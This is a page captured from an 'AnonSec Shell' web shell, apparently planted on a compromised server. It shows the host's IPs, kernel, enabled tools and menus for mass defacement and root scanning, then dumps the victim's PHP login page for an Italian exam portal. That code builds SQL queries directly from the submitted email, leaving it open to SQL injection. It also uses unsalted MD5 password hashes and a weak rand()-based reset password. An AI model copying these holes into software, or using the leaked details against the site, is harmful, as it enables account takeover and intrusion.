AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 52.223.31.75 / Your IP : 172.31.32.98 [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/ascii/www_esami/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/ascii/www_esami/_login.php
<?php

  function is_session_started(){
       if ( php_sapi_name() !== 'cli' ) {
           if ( version_compare(phpversion(), '5.4.0', '>=') ) {
               return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
           } else {
               return session_id() === '' ? FALSE : TRUE;
           }
       }
       return FALSE;
   }

   if ( is_session_started() === FALSE ){
      session_start();
   }

   if (isset($_SESSION['utente'])){
      header("Location: index.php");
   }

   //require getcwd().'/wp-content/themes/design-italia/vendor/autoload.php';
   
   function randomPassword() {
        $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        $pass = array(); //remember to declare $pass as an array
        $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
        for ($i = 0; $i < 8; $i++) {
            $n = rand(0, $alphaLength);
            $pass[] = $alphabet[$n];
        }
        return implode($pass); //turn the array into a string
    }

   $debug=false;
    $email=null;
    $password = null;
    $messaggio=null;
    $errore = null;
       //connessione piattaforma
   include "connection.php";
   if($debug){
      echo HOST.'-'.DATABASE."-".USER."-".PASSWORD;
   }
   if(isset($_GET['email']) && $_GET['email']){
      $email = $_GET['email'];
    }
    if(isset($_POST['email']) && $_POST['email']){
      $email = $_POST['email'];
    }
    

    if(isset($_GET['type']) && (array_key_exists("type", $_GET) || $_GET['type']=="recupera_password")){
      $type = $_GET['type'];
    }else{
      $type = "login";
    }

    if(isset($_POST['password']) && $_POST['password']){
      $password = $_POST['password'];
    }

  if($type == "login"){
    if($email && $password){ 
         
      $sql = "SELECT * from cliente WHERE email = '".$email."' and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {$utente = $row;$check=true;}
      if($utente){
        $_SESSION['utente']= $utente;
        if(!$utente['dattilografia']){
            $sql = "SELECT * from clientedelcentro WHERE email = '".$email."' and password = '".md5($password)."'";
            foreach($db->query($sql) as $row) {$utente = $row;}
            if($utente['dattilografia']){
              $_SESSION['utente']= $utente;
              $checkone="clientedelcentro";
            }
        }else{
          $checkone="cliente";
        }
      }else{
          $sql = "SELECT * from clientedelcentro WHERE email = '".$email."' and password = '".md5($password)."'";
          foreach($db->query($sql) as $row) {$utente = $row;$check=true;}
          if(!$checkone){    
            $_SESSION['utente']= $utente;
            $checkone="clientedelcentro";
          }
      }
      if($checkone=="clientedelcentro"){
        $sql_ins_log = "INSERT INTO clientedelcentro_frontend_sessions (idcliente, idsession) VALUES (".$_SESSION['utente']['idclientedelcentro'].", '".session_id()."')";
        $db->query($sql_ins_log);
      }else{
          $sql_ins_log = "INSERT INTO cliente_frontend_sessions (idcliente, idsession) VALUES (".$_SESSION['utente']['idcliente'].", '".session_id()."')";
          $db->query($sql_ins_log);
      }

      if($check || $checkone){
        
        header("Location: index.php");
        die;
      }

      $errore = "Credenziali non valide, si prega di riprovare o di reimpostare la password.";
    }

  }else if($type=="recupera_password"){
    if($email){ 
         
      $sql = "SELECT * from cliente WHERE email = '".$email."'"; //" and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {$utente = $row;}
      if($utente['idcliente']){
        
        //creo nuova pass password
        $new_pass = randomPassword();


        //Invio Email
        $subject_utente = "Richiesta generazione nuova password - ASCIIFormazione.it";
        $messaggio_utente = "Gentile utente, <br>come richiesto troverai di seguito la nuova password per accedere al portale, le consigliamo di cambiarla al primo accesso. <br><br>Password: ".$new_pass."<br><br>Se hai bisogno di maggiori informazioni, non esitare a contattarci!<br><br>Grazie per averci preferito!<br><br>ASCII Formazione<br>Via Irno 101, 84135 - Salerno<br>Email: info@asciiformazione.it<br>Tel. 089-98.49.407, 089-28.64.695";
        
        //INVIO EMAIL UTENTE FINALE
        $to_utente = $utente['email'];
        $headers_utente = array('Content-Type: text/html; charset=UTF-8');
        wp_mail( $to_utente, $subject_utente, $messaggio_utente, $headers_utente );

        //aggiorno password sul db
        $sql_update = "UPDATE cliente SET password = '".md5($new_pass)."' WHERE email = '".$email."'";
        $db->query($sql_update);

        $messaggio= "Gentile utente, le è stata inviata una mail contenente la nuova password. <br>Grazie di aver utilizzato il nostro servizio.";
      }else{
        $errore = "Credenziali non valide, si prega di riprovare.";
      }

    }
  }
  


  /* //echo get_query_var('categoria')."----".$wp_query->get( 'pagename');die;
   $idcategoria_post = get_query_var('categoria');//$wp_query->get( 'categoria' );
   if( !isset($idcategoria_post) || empty($idcategoria_post) ) {
       $idcategoria_post = false; //default value
   }*/
   /*echo get_query_var('categoria')."------".$wp_query->get( 'categoria' );
   echo $idcategoria_post;*/

 /*  $idcorso_post = get_query_var('corso');
*/
   /*echo "<br><br>".get_query_var('corso')."------".$wp_query->get( 'corso' );*/

 /*  if( !isset($idcorso_post) || empty($idcorso_post) ) {
       $idcorso_post = false; //default value
   }
*/



   function getslug($nome)
   {  
      $toRet = basename(parse_url($nome, PHP_URL_PATH));
      $slug = $toRet;
      return $toRet;
   }


   /*flush_rewrite_rules();*/
   /* Template Name: Pagina Login */
  

  // get_header(); 


?>




<!-- BLUCHIARO: #0364cc -->
<!-- BLUSCURO: background-color: #00264C; -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">




<style>
    input, button, input[type="submit"], input[type="text"], input[type="email"], textarea, select {
    /* padding: 10px; */
    background-color: #f6f6f6;
    border: none;
    box-shadow: 0 0 0 1px rgb(0 0 0 / 20%);
    display: block;
    /* max-width: 100%; */
    width: 105%;
    height: 5rem;
    margin-bottom: -5px;
    font-size: 2rem;
    margin-left: -10px;
}

label{
    width: 105%;
    max-width: 105%;
}
    input{
        color: black;
    }
    h2{
        font-size: 19px;
    }
    body, #content
    {
        background-color: #edecec;
    }
    body:before {
    height: 50%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background: <?php echo COLORE;?>;
    content: "";
    z-index: 0;
}


    .login-box{
        width: 500px;
        border: 1px solid gray;
        padding: 40px;
        text-align: center;
        margin: 0 auto;
        background: #fff;
        box-shadow: 0 1px 11px rgb(0 0 0 / 27%);
    }

    .label{
        margin-bottom: 5px;
    }

   .btn-submit{
    color: white !important;
    background: #0364cc !important;
  }
  .btn-submit:hover{
    color: white;
    background: #00264C !important;
  }
   .padding-10{
      /*padding: 10px;*/
   }
   .padding-10corsi{
      padding: 10px;
      padding-left: 20px; 
      padding-right: 20px; 
   }
   .light{
      width: 100%;
      padding: 10px;
      background: #0364cc;
      color: white;
      border-bottom: 15px solid #00264C;
   }
   

  /* .dark{
      width: 100%;  
      padding: 10px;
      background: #00264C;
      color: white;
      border-bottom: 15px solid #0364cc;
   }
*/
   .dark {
        width: 100%;
        padding: 10px;
        /* background: #00264C; */
        color: white;
        border-bottom: 15px solid #0364cc;
        padding-bottom:  0px;
        
    }


   .dark a, .light a{
      color:white;
      font-size: 30px;
      font-weight: bold;
   }
   .dark a:hover, .light a:hover{
      color:white;
   }

   .light-corso{
      width: 100%;
      padding: 10px;
      background: #0364cc;
      color: white;
      border-bottom: 15px solid #00264C;
   }
   .dark-corso{
      width: 100%;  
      padding: 10px;
      background: #00264C;
      color: white;
      border-bottom: 15px solid #0364cc;
   }
   .dark-corso a, .light-corso a{
      color:white;
      font-size: 18px;
      font-weight: bold;
   }
   .dark-corso a:hover, .light-corso a:hover{
      color:white;
   }
   .tipologia-corso-div{
      margin-top: 6px;
      position: absolute;
      font-weight: 400;
      font-size: 13px;
   }

    .tipologia-categoria-div{
      margin-top: 0px;
      position: absolute;
      font-weight: 400;
      font-size: 13px;
   }
 

</style>
<section id="content" role="main" class="container">
   <div class="container">
      <div class="row">

      <div class="col-12">
         <article id="post-1"><br><br>
            <!-- <header class="header mt-5">
               <h1 class="entry-title">Login</h1>
            </header> -->
            <section class="entry-content login-box">
             
                <img src="<?php echo LOGO; ?>" style="<?php echo LOGOSTYLE; ?>">



<!-- CATEGORIE CORSI PRINCIPALE-->    
                              
   
      

<?php if($type == "recupera_password"){ ?> 
      <p style="text-align: justify;">Per recuperare la password, inserire l'indirizzo email usato in fase di registrazione. Il sistema invierà una nuova password temporanea all'indirizzo inserito.</p>
      <?php if($messaggio){ echo '<h3 style="color:green;">'.$messaggio.'</h3><br>';} ?>
      <?php if($errore){ echo '<h3 style="color:red;">'.$errore.'</h3><br>';} ?>
      <form method='get' action="login.php" style='width:100%'>
        <input type="hidden" name="type" value="recupera_password">
          <div class="row">

            <!-- <div class="col-md-1 padding-10"></div> -->
            <div class="col-md-12 padding-10">
                 <div class="dark">
                    <label class="titolo-a-categoria-corso" >
                        <input type='text' style="" value="" name='email' placeholder="mario.rossi@gmail.com"></label>
                    <div class="tipologia-categoria-div">Email</div>
                 </div>
            </div>     
            <!-- <div class="col-md-1 padding-10"></div> -->

            <div class="col-md-2 padding-10"></div>
            <div class="col-md-8 padding-10">
                <br>
                 <div class="dark" style="border-bottom: 0px;padding: 7px;">
                    <label class="titolo-a-categoria-corso" style="margin:0px;">
                        <input class="titolo-a-categoria-corso btn-submit"  style="margin: 0px;" type='submit' value='Invia Richiesta'>
                     </label>
                    <div class="tipologia-categoria-div"></div>
                 </div>
            </div>
            <div class="col-md-2 padding-10"></div>

          </div>
          
          <center> <a style="margin: 0px;width: 100%;" href="login.php?type=login">Torna al Login</a></center>
      </form>
      <div class="clear"></div>
     
<?php }else{ ?> 
      <p>Inserisci qui le tue credenziali per accere alla tua area privata.</p>
      <?php if($messaggio){ echo '<h3 style="color:green;">'.$messaggio.'</h3><br>';} ?>
      <?php if($errore){ echo '<h3 style="color:red;">'.$errore.'</h3><br>';} ?>
      <form method='post' action="login.php" style='width:100%'>
        <input type="hidden" name="type" value="login">
      <div class="row">
          <!-- <div class="col-md-1 padding-10"></div> -->
          <div class="col-md-12 padding-10">
               <div class="dark">
                  <label class="titolo-a-categoria-corso"  >
                      <input type='text' style="border-bottom: 2px solid white;padding-bottom: 0px;padding-left: 5vpx;" value="<?=strtolower(trim($email))?>" name='email' placeholder="mario.rossi@gmail.com"></label>
                  <div class="tipologia-categoria-div">Email</div>
               </div>
          </div>
          <!-- <div class="col-md-1 padding-10"></div> -->
      </div>
      <div class="row">
          <!-- <div class="col-md-1 padding-10"></div> -->
          <div class="col-md-12 padding-10">
               <div class="dark">
                  <label class="titolo-a-categoria-corso" >
                      <input type='password' style="border-bottom: 2px solid white;padding-bottom: 0px;padding-left: 5px;margin-bottom: -5px;" value="" name='password' placeholder="************"></label>
                  <div class="tipologia-categoria-div">Password</div>
               </div>
          </div>
          <!-- <div class="col-md-1 padding-10"></div> -->
      </div>
      <br>
      <div class="row">
          <div class="col-md-2 padding-10"></div>
          <div class="col-md-8 padding-10">
               <div class="dark" style="border-bottom: 0px;padding: 7px;">
                  <label class="titolo-a-categoria-corso" style="margin:0px">
                      <input class="titolo-a-categoria-corso btn-submit"  style="margin: 0px;" type='submit' value='Login'>
                   </label>
                  <div class="tipologia-categoria-div"></div>
               </div>
          </div>
          
          <div class="col-md-2 padding-10"></div>
      </div>
      
     <center> <a class=""  style="margin: 0px;width: 100%;" href="login.php?type=recupera_password">Recupera Password</a> </center>

          
      </form>
      <div class="clear"></div>


<?php } ?>

      

         

                  <!-- FINE CATEGORI CORSI -->

            </section>
         </article>
      </div>
      
      </div>
   </div>
</section>
Anon7 - 2022
AnonSec Team